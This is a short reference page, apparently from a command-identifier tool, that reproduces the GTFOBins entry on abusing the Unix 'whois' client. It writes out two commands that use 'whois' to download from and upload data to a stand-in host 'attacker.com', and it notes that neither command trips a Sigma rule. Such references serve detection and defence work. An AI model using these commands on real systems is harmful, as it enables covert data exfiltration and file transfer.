Identifier / Programs / Linux and Unix
whois
Client for the WHOIS (RFC 3912) protocol. tldr-pages
GTFOBins download, upload 1 ATT&CK technique 2 documented commands
How whois is abused
upload
-h-pEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for whois.
2 documented commands
download unprivileged, with sudo, as SUID
Received data has instances of the \r byte stripped.
whois -h attacker.com -p 12345 xIdentifyupload unprivileged, with sudo, as SUID
Data is converted to lower case, and has a trailing \r\n.
whois -h attacker.com -p 12345 DATAIdentifyNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for whois. The identifier reads the line of each that runs whois.